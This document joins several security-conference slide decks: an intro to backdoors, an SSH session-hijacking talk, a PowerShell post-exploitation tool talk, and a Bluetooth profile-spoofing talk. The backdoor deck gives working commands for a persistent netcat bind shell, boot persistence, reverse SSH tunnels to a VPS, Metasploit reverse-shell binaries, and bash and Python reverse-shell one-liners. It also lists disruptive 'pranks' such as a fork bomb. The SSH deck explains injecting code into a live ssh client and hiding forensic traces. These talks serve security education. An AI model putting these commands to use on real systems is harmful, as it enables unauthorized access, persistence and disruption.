• Lets set up a backdoor on a Linux system using
net cat.
• We assume the users is logged in as root and
the terminal is left open and unattended.
Linux Tool Kit
• Compile missing items to make them portable
then test them on target systems.
• Autossh
– http://www.harding.motd.ca/autossh/
• Netcat
– http://netcat.sourceforge.net/ Compile it
• Shred (core utils)
– http://www.linuxfromscratch.
org/lfs/view/development/chapter05/coreutils.html
• Screen
– http://www.linuxfromscratch.
org/blfs/view/svn/general/screen.html
Persistent connection script
By default GNU netcat does not have a persistent
connection. You will need to run it in a while loop if
you want to connect to it more than once.
Otherwise it will close the program after the first
connection.
#!/bin/bash while [ 1 ]; do
echo -n | netcat -l -v -p 445 -e /bin/bash
done
Setup GNU Netcat Backdoor on
Linux
# wget http://yourtookitsite.com/netcat
# iptables -A INPUT -m state --state NEW -m tcp
-p tcp --dport 445 -j ACCEPT
# cp netcat /usr/bin
# iptables -A OUTPUT -p tcp --dport 445 -m
conntrack --ctstate NEW -j ACCEPT
# nohup ./listener.sh &
Have Netcat Start on Boot
• Should we use /etc/rc.local ?
– Maybe someone might see it
• Centos
– place startup script in /etc/rc.d/init.d/
• Debian
– /etc/rc3.d/
Or
– /etc/rcN.d where n is the runlevel.
Connecting to the backdoor.
nc -v ipaddress port
View programs that have open ports.
# netstat -lptun
Linux Pranks
• Iptables and perl script to flip images
–
http://www.ex-parrot.com/pete/upside-down-ternet.html
• Linux Fork Bomb
– :(){ :|:& }:
• Write to users terminal
–
Write username
• Make sure volume is high and send random noise:
– Cat /dev/urandom > /dev/dsp
http://unix.stackexchange.com/questions/232/unix-linux-pranks
Change all output to bork bork
• http://www.commandlinefu.
com/commands/view/177/translate-your-terminal-into-
swedish-chef
perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-
Za-z]+/$b/g; print "$l$b\@$b:\$ ";}’
Send Starwars to other user’s terminal
Cowsay to user terminal
Cmatrix to user terminal
# fortune | cowsay > /dev/pts/0
# who
someuser pts/0 2014-03-20 22:26 (x.x.x.2)
root pts/1 2014-03-20 23:34 (x.x.x.2)
# telnet towel.blinkenlights.nl > /dev/pts/0
# cmatrix > /dev/pts/1
More Linux Pranks
while :do
sleep 60
echo "Follow the white rabbit."done | write username
# echo -e '\a'
- Command Bell
- Constantly write to a user's console
alias ls='echo "Segmentation fault"'
export PROMPT_COMMAND="ls"
- Add to ~username/.bashrc
makes it look like the system is broken.
If you need to disconnect from a
process in Linux
• nohup command &
• Or
– Ctrl-Z
– Bg
– disown %1
# nohup command &
http://danielbeard.wordpress.com/2011/06/08/detaching-a-running-process-
from-a-bash-shell/
PHP compilers
• Bcompiler
– http://www.php.net/manual/en/book.bcompiler.php
• Phc
– http://www.phpcompiler.org/
• Ioncube
–http://www.ioncube.com/
• hhvm
– http://hhvm.com/
• More Compiler Links
– http://stackoverflow.com/questions/1408417/can-you-compile-
php-code
– http://stackoverflow.com/questions/1845197/convert-php-file-
to-binary
Netcat limitations
• Easy to detect.
• Anyone who knows about it or finds it on a
open port can connect to it.
• Its not encrypted.
• Requires a lot of setup and additional tools to
use effectively.
So now what?
• So now we have a back door into a system,
but it requires that we be on the same local
area network or have a firewall port open to
the box.
• It’s an extremely bad idea to leave a netcat
backdoor open to the internet.
• Also its very likely you wont have access to the
firewall to open up the port to the public
internet.
Setup Persistent SSH Tunnel
• In most cases you can ssh outside to your own ssh server and
put in a persistent ssh reverse shell on your target machine.
• Easiest solution is to register a Virtual Private Server ( VPS )
and have it listen for your ssh reverse shell.
• The reverse shell calls into the remote vps and opens a port
on that machine which is tunneled over ssh back to the a port
back on the target machine
• With this in place you can now access the target machine
from anywhere.
http://commons.wikimedia.org/wiki/File:Reverse_ssh_tunnel.jpg
Reverse SSH Tunneling
• ssh -f -N -R 10000:localhost:22 user@external_server
• -N
Do not execute a remote command. This is useful for just forwarding ports
(protocol version 2 only).
• -f
Requests ssh to go to background just before command execution. This is
useful if ssh is going to ask for passwords or passphrases, but the user wants
it in the background.
• -R [bind_address:]port:host:hostport
Specifies that the given port on the remote (server) host is to be forwarded
to the given host and port on the local side. This works by allocating a socket
to listen to port on the remote side, and whenever a connection is made to
this port, the connection is forwarded over the secure channel, and a
connection is made to host port hostport from the local machine.
Reverse shell Examples
• ssh -f -N -R 10000:localhost:22
user@external_server
– Set port 10000 on remote server and map it to port 22
on this local machine
• ssh -f -N -R 10001:10.0.2.3:455
user@external_server
– Set port 10001 on remote server to ip address port
445
• ssh -f -N -R 10001:10.0.2.3:455 -R 10000:localhost:
22 user@external_server
– Note you can also chain the –R command
Generate SSH Key
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
ad:c8:3a:3a:5c:fd:48:34:ad:f2:ac:63:29:70:0e:d0 root@test
The key's randomart image is:
+-----------------+
# ssh-keygen -t rsa
Copy the generated key to the remote
machine.
ssh-copy-id –I /root/.ssh/id_rsa.pub"-p 2222
user@remotemachine"
Use autossh to make reverse shell
persistent.
• -i /root/.ssh/syspub
– Location of ssh key
• -M is for monitoring port
• -o "PubkeyAuthentication=yes”
– use public key authentication
• -o "PasswordAuthentication=no"
– Do not ask for password
# autossh -M 10984 -N -f -o "PubkeyAuthentication=yes" -o
"PasswordAuthentication=no" -i /root/.ssh/syspub -R 8888:
localhost:22 user@remoteserver -p 2222 &
SSH reverse tunnel on
Windows Using plink
•
-P SSH server port
•
-l
SSH server login name
•
-pw SSH server password
•
-C enable compression
•
-R Forward remote port to local address
C:\>plink -P 22 -l username -pw password -C -R 5900:127.0.0.1:5900
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
http://nemesis2.qx.net/pages/MyEnTunnel
MyEnTunnel
●
Like Autossh allows persistence but requires install and has a
system tray.
Secure your ssh user to your vps or remote box
You will want to secure your ssh server to only allow
tunnels through and not give the ssh tunnel user access
to a system shell.
This is important in the event that your shell is
discovered you don’t want your target to be able to
counter attack you and gain access to yours VPS.
Also keep in mind you should be prepared to lose access
to your jump point vps in the event they cancel it or
someone complains. So make sure you do rely on it for
anything else.
http://blog.flowl.info/2011/ssh-tunnel-group-only-and-no-
shell-please/
/usr/bin/disable_shell
Create a and add it to /usr/bin
#!/bin/bash
trap '' 2 20 24
clear
echo -e ":P Sorry No Dice"
while [ true ] ; do
sleep 500
done
exit 0
make the script executable
chmod +x /usr/bin/tunnel_shell
Test your reverse shell
1. Create a User
2. Generate ssh keys for that user
3. Copy ssh for user
4. Modify /etc/password to use disable_shell
5. Setup cron,at,autossh, command to run ssh reverse shell
Secure your ssh jump box
for reverse shell user account.
edit /etc/passwd
Change
To
user:x:300:300::/home/rshelluser:/bin/bash
user:x:300:300::/home/rshelluser:/bin/bash
chmod 700 ~/.ssh
Exploits vs Payloads vs Vulnerabilities
• Vulnerabilities are places where you can take
advantage of an operating system.
• Exploits are how you take advantage of
vulnerabilities.
• Payloads are what you do once the exploit has
been executed.
– In this example the vulnerability is leaving the
computer unattended the exploit is the ability to
execute scripts we are running to set up the backdoor.
The payload would be our reverse shell or our netcat
listener.
Using Metasploit
• You will need a server setup to listen for incoming
connections that has Metasploit installed. Kali has
it installed by default.
• Start metasploit console
– Msfconsole
• Update metasploit console
– msfupdate
• get updates for metasploit
• Metasploit training
– http://www.offensive-security.com/metasploit-
unleashed/Main_Page
Binary Payloads
• Lets generate a binary payload instead of
using netcat.
• msfpayload windows/shell_reverse_tcp O
– O command show all options
http://www.offensive-security.com/metasploit-unleashed/Binary_Payloads
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port
Description:
Connect back to attacker and spawn a command shell
Example output
• msfpayload windows/shell_reverse_tcp
LHOST=metasploit_server_ip LPORT=listening_port_on_server_ip O
• msfpayload –h
– List all available payloads.
• /payload/path O
–
List available options for payload.
• /payload/path X > payload.exe
– Save payload and save it as a Windows Portable Executable.
• /payload/path R > payload.raw
– Raw Format
• /payload/path C > payload.c
– Export payload as C code.
• /payload/path J > payload.java
– Export code as java code.
Create a payload
PE32 executable (GUI) Intel 80386, for MS
Windows
Execute binary on target system and listen for
response from binary.
msfpayload windows/shell_reverse_tcp LHOST=10.10.10.123 LPORT=7777 x
> /tmp/david_hasselhoff.exe
file /tmp/david_hasselhoff.exe
Set msfconsole to listen for your
binary.
• Start msfconsole
– msfconsole
– use exploit/multi/handler
– set payload windows/shell/reverse_tcp
– set LHOST 10.10.10.123
– set LPORT 7777
• Run exploit
– exploit (starts listening port on metasploit
systems) add it to your tool kit.
Executing binary
Appendix A
Code Library
https://github.com/DC801/Introtobackdoors
Please help contribute to our intro to backdoors
prank library!
Submit any useful commands or original pranks to
the github repository and we will add them in and
grow the library.
You can find more infromation at www.
introtobackdoors.com
Appendix B
One Line Reverse Shells
Python (run on target)
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Bash (run on target)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),
0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call
(["/bin/sh","-i"]);'
Setup Net Cat listener to Receive the shells
(run on remote server)
nc -l -p 8080
Appendix C
VPS for remote files and reverse ssh
Sweden Dedicated
http://swedendedicated.com/vps/
NQHost
http://nqhost.com/unmetered-xen-vps.html
Appendix D
Interesting Projects
• Remote ssh Tunnel and Raspberry Pi
http://www.tunnelsup.com/raspberry-pi-phoning-
home-using-a-reverse-remote-ssh-tunnel
• Creating undetectable ssh backdoor using python
http://resources.infosecinstitute.com/creating-
undetectable-custom-ssh-backdoor-python-z/ | pdf |
Trust Transience:
Post Intrusion SSH Hijacking
July 2k5 Blackhat USA 05 &
Defcon 0x0D
So you're a sneaky Blackhat...
The Target
Recon
● Mail headers say MUA
is PINE
● .sig says Debian Sarge,
kernel 2.4.22
● Web logs suggest egress
HTTPS traffic doesn't go
via a proxy (source
address is their NAT
router, not HTTP proxy)
The Plan
Let's Do It
haxor:~$ nc -l -p 1337
admin@box:~$ id
uid=1004(admin) gid=1004(admin) groups=1004(admin)
admin@box:~$ ps auxw | grep -q pine || echo shit
shit
admin@box:~$ ls core
core
admin@box:~$ uname -nsr
Linux box 2.6.11
haxor:~$ ./pine0day | spoofmail -f 'Mr. Mbeki' -s 'Opportunity for
joo!' [email protected]
Things start to unravel
admin@box:~$ w
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
admin pts/1 :0
09:28 10.3m 3.1s 0.2s bash
admin pts/2 :0 09:31 1.0s 1.4s 0.9s bash
admin pts/3 haxor.com 14:03 0.0s 0.3s 0.3s w
admin@box:~$ ps x
3132 ?
S
0:23 xfwm4 –-daemon –sm-client-id 34235
3590 ?
S+
0:05 xterm -rv
3593 pts/1 Ss+
0:02 bash
3597 pts/1 S+
0:12 ssh [email protected]
9034 ?
S+
0:03 xterm -rv
9036 pts/2
Ss+
0:02 bash
9154 pts/3 R+
0:00 ps x
+++ATH0
● Things have gone pearshaped
● Haven't got root, are about to get busted
● Time to drop carrier and run?
● But that SSH session, oh so close.
● If only there was a way to get to the other end of
that SSH...
There is a way
admin@box:~$ <Ctrl-A>:!!!!mafl-load ssh-jack 3597 haxor.com 1338
Connecting to /usr/bin/ssh running as pid 3597...
Connected
Ferreting out some useful symbols...
Located libc symbol 'socket' at 0xb7e19a50
Located libc symbol 'connect' at 0xb7e195c0
Located libc symbol 'select' at 0xb7e12490
Located section '.got' 0x0807eb8c to 0x0807eef4
Located section '.plt' 0x0804aa68 to 0x0804b7d8
Located section '.text' 0x0804b7e0 to 0x08070450
Located section '.rodata' 0x08070480 to 0x0807dd6c
Resolved dynamic symbol 'socket' at PLT: 0x0804b6b8 GOT: 0x0807eea8
Resolved dynamic symbol 'select' at PLT: 0x0804ad88 GOT: 0x0807ec5c
Resolved dynamic symbol 'connect' at PLT: 0x0804b5f8 GOT: 0x0807ee78
Locating stub injection point...
Phase 1: Find magic string in .rodata... 0x0807139c
Phase 2: Find where magic string is used... 0x0804d803
Phase 3: Find three jump 0x0804d800 instructions... 0x0804d6d9 0x0804d6e1 0x0804d6e9
haxor:~$ nc -l -p 1338
root@ns1:~# echo pwned!
pwned!
Intro
● I'm Metlstorm / Adam
● From New Zealand
– No, I don't know any hobbits, you
sad Tolkien fanboi
● Work for a Linux systems
integrator, in the past a corporate
whore security consultant, ISP
security guy, NOC monkey
WTF Just Happened?
● Intrusion
– MO: attack servers via the admins
– Complexity == insecurity
– Things go wrong...
– ... you can drop carrier and run...
– ... or display adaptability.
(You look like you're
writing an SSH
jacker...)
Post Intrusion
● Goals
– Priv escalation
– Stealth & consolidation
– Recon, further penetration
– Guerrilla; hit & fade, keep it moving
● Displaying Adaptability
– Things don't go according to plan
– Adaptability core difference between hackers and
[skript|korporate] kiddies
(you don't want to end
up like Markus Hess)
Cross Host Privilege Escalation
● Maybe local root is a distraction
● Yes, exploiting local vulnerabilities is easier, we
can see stack layout, versions, etc
● But what if there were something even easier?
Trust Relationships
● Kicking it old school
– rhosts
– ports < 1024 == root
– exporting / *(rw)
● Gives you that warm apple pie nostalgia feeling
● Can you believe that we even called that
hacking?
● Provides instant gratification; no waiting for user
interaction
(when the postman knew your name,
and no one locked their front door)
(We're all Unix hippies around
here, share the love!)
NonTransient Trusts
● Traditional “fixed”
trusts (rhosts, ssh trusts)
● Stored authentication
credentials
● “One factor” auth
● Authentication based on
connection properties
(e.g: source IP, port)
Transient Trust
● Trust relationships
that exist only for a
period of time
● Open, post
authentication
sessions
● Unless you personally auth each packet, any cross
privboundary connection has some transient trust
Exploit Metrics
● Evaluate techniques
for exploiting trusts
● Assume that we've just
acquired a nonroot
shell on a client
machine
● Metrics: (value 110)
– Ease
– Stealth
– When
– Feasibility
Exploiting NonTransient Trust
● Pretend to be Client A
so the server trusts us
Ease:
10
Stealth:
10
When:
10
Feasibility: 2
Exploiting (Keylogging)
● During
Authentication:
– Obtain User A's
password
● Later:
– Impersonate User
A
Ease:
7
Stealth:
8
When:
3
Feasibility: 7
Exploiting (MITM)
● During
Authentication:
– Impersonate
Server to Client
– Impersonate
Client to Server
● Later:
– Monitor session
– Take over
session
Ease:
5
Stealth:
4
When:
3
Feasibility: 5
Exploiting (TCP Hijack)
● Later:
– Predict TCP
Sequence
numbers
– Take over
running session
Ease:
3
Stealth:
1
When:
7
Feasibility: 2
(Is it just me or does that
look like Shimomura?)
Exploiting (Application Hijack)
● Later:
– Take control of
network client
application
– Sneak down
running,
authenticated
session
Ease:
8
Stealth:
8
When:
7
Feasibility: 7
Hijack the Application
● Different MO:
– attack during peak time, while the users are there
– daylight robbery; take their root while they're using
it...
– ...without them even noticing
● Not really very technically challenging
– just creative reapplication of tricks virii, debugging,
binary reverseengineering
Technique Comparison
● Conclusion:
Transient trusts
almost as much
fun as the real
thing
trusts
keylog
'n
tcp
hijack'
n
MITM
transi
ent
trust
0
2.5
5
7.5
10
12.5
15
17.5
20
22.5
25
27.5
30
32.5
feasibility
stealthy
when
ease
(Gentlemen, as this graph
clearly shows, my m4d
t3kneeq is teh b3zt!)
The SSH 'Jacker
● SSHJack: A Python script which gives you a
shell at the other end of a running SSH session
– How it works
– Implementation Details
– Antiforensics
– Mitigation
– Improvements, Direction
Rich Protocols: SSH
● Goal: Hijack session while in active use without
detection
● Virtual Channel infrastructure makes it seamless
How it Works (I)
● Reuse the features provided by SSH...
● ... for evil
● Glue a socket to a second shell, add an Evil
Hax0r, mix well.
How it Works (II)
● Using Python and GDB/MI it:
– ptrace attaches to the SSH client process
How it Works (III)
– finds the virtual channel setup code
– patches it in memory to request a remote shell which
talks to a local tcp socket instead of the user
How it Works (IV)
– alters execution flow to run the VC setup code
How it Works (V)
– restores original code & state
– continues execution as if nothing happened...
– ... except that you got pwned.
What your mother warned you about
● Hackers are sneaky
● Hackers don't just install LRK4 and BNC any
more (at least, the ones you don't catch)
● Good hackers display creativity (as do expensive
pentesters... you hope)
Automated Debugging
● Of course a human with a debugger can do
sneaky things
● We want to automate it
● GDB is good, GDB/MI (machine interface)
passable
● Python + GDB is a good mix; ubiquitous
scripting language, interactive shell, good
debugger
Automated Debugging (II)
● Goal: sneakiness of a human, speed and
portability of a script
● Less like debugging (no symbol information),
more like bit of binary analysis mixed with a bit
of virus technique
Details
● SSHJack Nitty Gritty
– Python GDB/MI
– Finding a safe place to stop the program
– Deciding where to redirect execution
– The Evil
– Generating code to inject
– Running it
● Discussing with specific reference to SSHJack,
but techniques are general
GDB/MI
● GDB is the GNU debugger
● GDB/MI is it's programmatic interface
● Implemented gdbmi.py, python interface to GDB
● Basic functionality only, but usable. e.g:
g=gdbmi()
g.connect(pid)
g.insertBreak(breakpoint)
g.waitForBreak()
oldeip = g.getRegs()[“eip”]
g.setByte(0x0ee7beef, 0x29)
A Safe Place
● Normally single threaded, use of globals, no
locking, so we have to be careful
● Find a safe place to run our code
– read the fine source
– probably the mainline, as close to normal as possible
● Stop the process
● Locate address of safe place
● Add a breakpoint there, easy!
● Continue execution
clientloop.c:
407: ret = select((*maxfdp)+
*readsetp, *writesetp, NU
408: if(ret > 0) {
But where is select()?
● We don't have debug
symbols
● No problem, just a few
more steps:
– Select() is provided by
libc...
– Ask for the address
where the dynamic
linker put libc::select()
But where is select()? (II)
– Find the entry in the
ELF Global Offset
Table for libc::select()'s
address
But where is select()? (III)
– Find entries in the ELF
Procedure Linkage
Table for the GOT
entry
But where is select()? (IV)
– Find calls to the PLT
entry in the code
● In this case, there's
only one call to select
anyway, so last step
not required
● Just a breakpoint in
the ELF PLT will do
Where we'll do the evil
● Find the virtual channel setup code:
– ssh.c,1150: ssh_session2_open()
● Still no debug symbols
● Has unique string:
– “dup() in/out/err failed”
● Similar to before:
– find unique string in ELF .rodata section
– find reference to .rodata entry in .text
The Evil Itself
● Evil code will replace first half of VC setup code
● Save regs & flags before execution, restore after
● “Shellcode” to socket(); connect();
● Put a socket where SSH expects a local filehandle
(yay for Unix!)
● Leave register state just so, stack unmangled, so
execution continues
● Uses libc calls, not syscalls, for no good reason
The Evil Itself (II)
● Why the effort to overwrite half a function?
– Avoid runtime, by hand linking with no symbols
– SSH uses lots of globals, 'data driven' style using
function pointer arrays, horrible to link by hand
– Minimal deviation from existing code
● Handcrafting for each SSH binary tedious
● Don't have enough info for a general solution...
● ... until runtime. So we patch one up then.
Generating the Evil
● Work backwards from
unique string
● Learn stack size
● Patch in command line
parameters
● Patch stack size, PLT
entries for socket()
and connect() into
code
Injecting the Evil
● Backup EIP
● Backup old code
● Evil code takes care of
saving and restoring
registers/flags
● Overwrite start of
function() with evil
● Set breakpoint to catch
end of evil
Running it
Saving EIP
Saved EIP 0x804ad88
Saving 92 bytes of code that we're about to overwrite at 0x0804d679
Injecting 92 bytes of stub at 0x0804d679
Clearing breakpoint
Setting new breakpoint at 0x0804d682
Setting EIP to 0x0804d679
Continuing execution.
Waiting for breakpoint...
Returned from our stub! Woot!
Restoring 92 bytes of old code that we overwrote at 0x0804d679
Clearing break
Resetting EIP
Finished cleaning up, detaching from process.
Smacking it upside the head with a SIGWINCH to wake it up...
haxor:$ nc -l -p 1337
luser@pwned:~$ echo woot!
woot!
● Clipart dude is
playing hunt the
Wumpus via SSH
● The Wumpus is
still going to kill
him
SCP & Remote Commands
● SCP and remote commands add wrinkles:
– Client side check to send different channel request
(CMSG_EXEC_CMD vs CMSG_EXEC_SHELL)
● Parse argv, figure out what our remote command is
● Find and patch global Buffer command used to decide
which to request. SSH won't need it again.
– Server doesn't issue TTY
● So what? You're way leeter than needing a TTY, right?
– No select() busting SIGWINCH
● Install our own SIGWINCH handler with signal()
Jack yourself?
● Test your plan of attack first
– Write your hijack code in C, and compile it into the
application
– Hook it up to some sekret keystroke, or signal or
whatever, so you know that it's possible
– Base your 'shellcode' on what the compiler assembled
● Implement hijacking for a binary with debug
symbols, much easier
Jack yourself? (II)
● Build a list of symbols you need to find
● Decide how you're going to find them
● Write cunning code to do so
● Jack your friends for fun and profit
● Optional: package nicely with a spinnyroundo
vision OpenGL GUI for the kiddies and Security
Consultants
Bits and Pieces
● Think about your SCPpush backups, your CVS,
your rsync. SSH gets around.
● Does the jacked connection show up in the list?
● What happens when they log out?
Compatibility
● Recentish python (>=2.2)
● Stuffed to the gills with IA32isms
● Should work on any OpenSSH 3.x ish
● Current code known to work on Debian Sarge,
RHEL3, RH9, Slackware 9.1
● SuSE's GCC is nuts. I'm amazed that the code it
generates runs at all.
Tangent: Antiforensic Technique
● Moving fast, not stopping to rootkit everything
assumes you're taking Precautions
● Go and see the Grugq's talk. Really. It has
FISTing.
● A brief summary
● How we apply antiforensic technique in the
SSHJacker
AntiForensic Technique
● No code on disk == no tripwire, no encase
– everything in memory only
● Use local tools/interpreters only
– all they'll know is that you did something, not what
– write your tools on the spot as you need them
● No new network connections for an IDS to spot
– reuse your existing connection
– hide in plain sight
● Encrypt everything so packet logs are useless
How we implement AF principles
● Some bits are good already:
– We use general purpose tools:
● python
● GDB
– SSH is encrypted to start with
– We're sneaking down an existing connection
How we fail to implement AF
● Some bits not so good
– python code lying around on disk for people to read
– new connection from the SSH client to us to give us
our shell...
– ...which is also in the clear
● We need to try harder
– SSH port forward incoming shell back down
encrypted session
Loading Python directly into memory
● Compile python bytecode locally, compress it,
base64 encode for 7bit cleanliness
● Generate stub that will unpack and run the above
● Send both across your shell
$ python -c 'import sys
while 1:
exec sys.stdin.readline()'
● Run a python
interpreter, tell it to
read python on stdin,
and run it
MAFLLoad
● Doesn't sound easy enough? How about a skript?
– mafl-load script.py [args]
– Does all the previous, in one easy step
● I hack in Screen, which rocks even more
– Ctrl-A:!!!!mafl-load ssh-jack pid
– Injects output of mafl-load into my remote shell,
and runs it. Ahh, the Joy of Unix.
● You can almost forget that you're doing it
Improvements, Future Direction
● Runtime assembler with Mosdef or similar
● Pure python debugger, remove GDB dependency
● Totally IA32 specific; make it cross arch
● Do it to MSRDP, or Citrix ICA
● All manner of domainspecific sneakiness; a
programmatic debugging toolkit is a useful thing
to have in your box of tricks
Is this Theo de Raadt's Fault?
● Hell no, it's a feature!
● SSH Protocol spec says multiple shells are fine
● Servertoclient shells would be...
● ... except he took care of that...
● and unsolicited servertoclient portforwarding :(
● Other SSH client/server implementations might
be different.
● And anyway, OpenSSH is cool. Props to them.
Mitigation Technique
● Uhh, don't get rooted
● Patch kernel to restrict ptrace() to root
● Setgid your ssh client (ala sshagent)
● Ensure that any SSH trusts you do have are
restrictive
– command=”stuff”,no-port-
forwarding,permit-open=”host:port”
● Give debuggers the whole Steve Gibson Raw
SocketsAreEvil treatment!
Why You Should(n't) Care
● Nothing you didn't even if you repressed it
already know
● If you get rooted, you're screwed. But you knew
that.
● Rich desktops make attacking admins to get to
servers a good route
● This technique is useful against any client, but
protocols with VC arch are the best – MSRDP,
Citrix ICA...
Hackers Made Me Do It
● Ruxcon (Sydney) 2k3 and 4 inspiration
– Grugq: antiforensic shaolin master
– Shaun Clowes: the holycrapwtfinsane Shiva ELF
encryptor
– Silvio Cesare: linux vx godfather
● Mad greetz to:
– NZISIG, NZ2600, SLi, and the rest of what passes for
a Scene in NZ.
– Gnuspice for giving me a copy of Cheswick and
Bellovin many years ago.
Demo
● Everyone loves to see the money shot
Q&A
● Shred me and my lameitude
Spam me
● [email protected] | pdf |
PowerPreter:
Post Exploitation like a boss
Nikhil Mittal
Get-Host
• Hacker who goes by the handle SamratAshok
• Twitter - @nikhil_mitt
• Blog –
http://labofapenetrationtester.blogspot.com
• Creator of Kautilya and Nishang
• Interested in Offensive Information Security, new
attack vectors and methodologies to pwn
systems.
• Freelance penetration tester *hint*
• Spoken at BlackHat, Troopers, PHDays and more
2
Powerpreter by Nikhil Mittal
Get-Content
• Need for Post Exploitation
• PowerShell
• Why PowerShell?
• Introducing – Powerpreter
– Architecture
– Usage
– Payloads
– Capabilities
– Deployment
• Limitations
• Conclusion
3
Powerpreter by Nikhil Mittal
Need for Post Exploitation
• The most important part of a penetration test.
• Guy who will pay you $$$ do not understand
technology (neither he wants to). A “shell” is
not what he wants from you.
• IMHO, this differentiates a good pen tester
and one-click-i-pwn-you-omg pen tester.
• Etc Etc
4
Powerpreter by Nikhil Mittal
PowerShell
• A shell and scripting language present by
default on new Windows machines.
• Designed to automate things and make life
easier for system admins.
• Based on .Net framework and is tightly
integrated with Windows.
5
Powerpreter by Nikhil Mittal
6
Powerpreter by Nikhil Mittal
Why PowerShell?
• Provides access to almost everything in a
Windows platform which could be useful for an
attacker.
• Easy to learn and really powerful.
• Trusted by the countermeasures and system
administrators.
• Consider it bash of Windows.
• Less dependence on msf and
<insert_linux_scripting>-to-executable libraries.
7
Powerpreter by Nikhil Mittal
Powerpreter - Introduction
• A post exploitation tool written completely in
powershell.
• To be a part of Nishang, powershell based post
exploitation framework, written by the
speaker.
• The name is similar to meterpreter.
Powerpreter wants to be like meterpreter
after growing up :)
8
Powerpreter by Nikhil Mittal
Powerpreter - Architecture
• Powerpreter is a powershell module and/or
script depending on the usage.
• Payloads and features in powerpreter are
structured as functions. Separate function for
each functionality.
• A bare bones powerpreter is also included
which downloads the functionality as and
when required.
9
Powerpreter by Nikhil Mittal
Powerpreter – Usage
• Powerpreter is best used from a Powershell
Remote Session.
• It could be imported as a module and the
functionalities get loaded in the current
session.
• It could also be used from meterpreter.
10
Powerpreter by Nikhil Mittal
Powerpreter – Payloads
• Payloads depend on the privileges available.
• Many useful payloads.
• Better seen in the demo.
11
Powerpreter by Nikhil Mittal
Powerpreter – Capabilities
• Persistence
• Pivoting
• Admin to SYSTEM
• Helper functionalities
• Tampering with logs
• Etc Etc
12
Powerpreter by Nikhil Mittal
Powerpreter – Deployment
• From a powershell session
• Using meterpreter.
• Using psexec.
• Drive-by-download
• Human Interface Device (Bare bones
preferred)
13
Powerpreter by Nikhil Mittal
Powerpreter - DEMO
14
Powerpreter by Nikhil Mittal
Limitations
• Yet to undergo community testing.
• Keylogger does not work from powershell
remote session.
• Backdoors can be detected with careful traffic
analysis.
15
Powerpreter by Nikhil Mittal
Conclusion
• Powershell provides much control over a
Windows system and Windows based network
• Powerpreter has been designed its power
from above fact and provides (or at least
attempts to) a useful set of features for
penetration testers.
16
Powerpreter by Nikhil Mittal
Thanks/Credit/Greetz
• Thanks to my friend Arthur Donkers for helping me to
come to Defcon.
• Thanks/Credit/Greetz/Shoutz to powershell hackers (in
no particular order)
@obscuresec, @mattifestation, @Carlos_Perez,
@Lee_Holmes, @ScriptingGuys, @BrucePayette,
@adamdiscroll, @JosephBialek, @dave_rel1k and all
bloggers and book writers.
• Go see another awesome powershell talk in Track- 2
tomorrow – “PowerPwning: Post-Exploiting By
Overpowering PowerShell by Joe Bialek“
17
Powerpreter by Nikhil Mittal
Thank You
• Questions?
• Insults?
• Feedback?
• Powerpreter would be available at
http://code.google.com/p/nishang/
• Follow me @nikhil_mitt
• Latest slides for this preso could be found at:
http://labofapenetrationtester.blogspot.in/p/blog-
page.html
18
Powerpreter by Nikhil Mittal | pdf |
Breaking Bluetooth
By Being Bored
JP Dunning
DefCon 2010
© Shadow Cave LLC
JP Dunning
Graduate Student:
Computer Science, Virginia Tech
Research Focus:
Wireless and Portable Security
Website:
www.hackfromacave.com
© Shadow Cave LLC
© Shadow Cave LLC
Bluetooth
● IEEE 802.15.1
● Low Power / Short Range
● Ad-Hoc (Piconet)
● Deployed on over 1 billions devices worldwide
© Shadow Cave LLC
Obfuscation and Reconnaissance
© Shadow Cave LLC
Cloning/Spoofing Profile
● Bluetooth Profile:
– Device Address, Device Class, Device Name
● Bluetooth Profile Cloning:
– Modify host Bluetooth Adapter profile to match
the profile of another device
– Done manually using hciconfig and bdaddr
● Bluetooth Profile Spoofing:
– Creating a misleading profile of host Bluetooth
Adapter
© Shadow Cave LLC
SpoofTooph
● Automate / simplify Bluetooth profile
modification process
● Useful for
– Obfuscation
– Impersonations
– Observation
● 5 different modes
© Shadow Cave LLC
SpoofTooph
● Mode 1: > spooftooph -i hci0 -s -d scan.log
– Scan local area for devices
– Save list of devices found
– Select a device from the list to clone
● Mode 2: > spooftooph -i hci0 -r
– Randomly generate Bluetooth profile
● Device Class – Random Valid Class
● Device Name - 100 most popular Ameraican
names + device type
● Device Addr – Random MAC
© Shadow Cave LLC
SpoofTooph
● Mode 3: > spooftooph -i hci0 -n new_name -a
00:11:22:33:44:55 -c 0x4a010c
– Specify Name, Class, and Address
● Mode 4: > spooftooph -i hci0 -l scan.log
– Read in previously logged scan
– Select a device from the list to clone
● Mode 5: > spooftooph -i hci0 -t 10
– Incognito: Scan for devices every X seconds
and clone the first profile on the list
© Shadow Cave LLC
SpoofTooph
© Shadow Cave LLC
Bluetooth Profiling Project
● Collect Device Name, Device Address and
Device Class on as many devices as possible
● Same idea as Josh Wright's Bnap,Bnap, but
collecting device profiles from others devices
instead
● Collected over 1,500 device profiles so far
© Shadow Cave LLC
Bluetooth Profiling Project
● Use for this data:
– Mapping the address range of Bluetooth
● Improve Redfang discovery scans
● Matching address range with device model
– Research
– Discovering information disclosure
© Shadow Cave LLC
Bluetooth Profiling Project
● Disclosure of sensitive information
● What information can be gathered from the
device profile?
– Can the Device Address be used to identify the
device modes?
– What can be extracted from the device name?
© Shadow Cave LLC
Bluetooth Profiling Project
● Can the Device Address be used to identify the
device modes?
– Yes, the addresses used for Device Address
(MAC) are the same as those used by
Ethernet or ZigBee
– The first 24-bits are Organizationally Unique
